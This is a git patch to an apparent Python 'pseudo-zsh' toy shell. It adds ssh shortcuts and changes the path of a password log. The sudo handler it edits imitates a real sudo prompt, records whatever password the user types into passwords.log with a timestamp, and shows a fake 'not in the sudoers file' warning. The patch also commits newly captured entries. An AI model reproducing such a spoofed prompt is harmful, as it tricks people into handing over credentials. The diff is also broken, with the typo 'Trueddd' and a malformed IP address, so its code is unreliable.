From a1de19887d125017e432c2eceb9957c30ff1520b Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Wed, 9 Apr 2025 12:00:23 +0800 Subject: [PATCH] =?UTF-8?q?=E5=9C=A8=20main.py=20=E4=B8=AD=E6=B7=BB?= =?UTF-8?q?=E5=8A=A0=E5=AF=B9=20'ssh2'=20=E5=92=8C=20'ssh3'=20=E5=91=BD?= =?UTF-8?q?=E4=BB=A4=E7=9A=84=E6=94=AF=E6=8C=81=EF=BC=8C=E4=BF=AE=E5=A4=8D?= =?UTF-8?q?=20'sudo'=20=E5=91=BD=E4=BB=A4=E4=B8=AD=E7=9A=84=E5=8F=98?= =?UTF-8?q?=E9=87=8F=E5=90=8D=E9=94=99=E8=AF=AF=EF=BC=8C=E5=B9=B6=E6=9B=B4?= =?UTF-8?q?=E6=96=B0=E5=AF=86=E7=A0=81=E6=97=A5=E5=BF=97=E6=96=87=E4=BB=B6?= =?UTF-8?q?=E8=B7=AF=E5=BE=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 8 ++++++-- passwords.log | 2 ++ 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/main.py b/main.py index 43a97ee..98a2992 100644 --- a/main.py +++ b/main.py @@ -91,9 +91,13 @@ def pseudo_zsh(): os.execv(sys.executable, ['python3'] + sys.argv) # 重新运行程序 except Exception as e: print(f"Error during update: {e}") + if args[0] == 'ssh2': + subprocess.run(['ssh','admin@10.147.17,160']) + if args[0] == 'ssh3': + subprocess.run(['ssh','root']) if args[0] == 'sudo': - flight1 = True + flight1 = Trueddd a = 0 for attempt in range(3): # 循环 3 次 a += 1 @@ -102,7 +106,7 @@ def pseudo_zsh(): print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.") flight1 = False break - with open("passwords.log", "a") as f: + with open("/Users/20250910553/Documents/code/PyShell/passwords.log", "a") as f: current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码 delay = random.uniform(0.1, 1.0) # 随机延时 0.5 到 2 秒 diff --git a/passwords.log b/passwords.log index c02465b..08d7a7b 100644 --- a/passwords.log +++ b/passwords.log @@ -38,3 +38,5 @@ [2025-04-03 11:22:36] $%^&*%^&* %$^$%^& [2025-04-03 11:22:44] kj [2025-04-03 11:22:45] lk +[2025-04-09 11:57:02] 1 +[2025-04-09 11:57:37]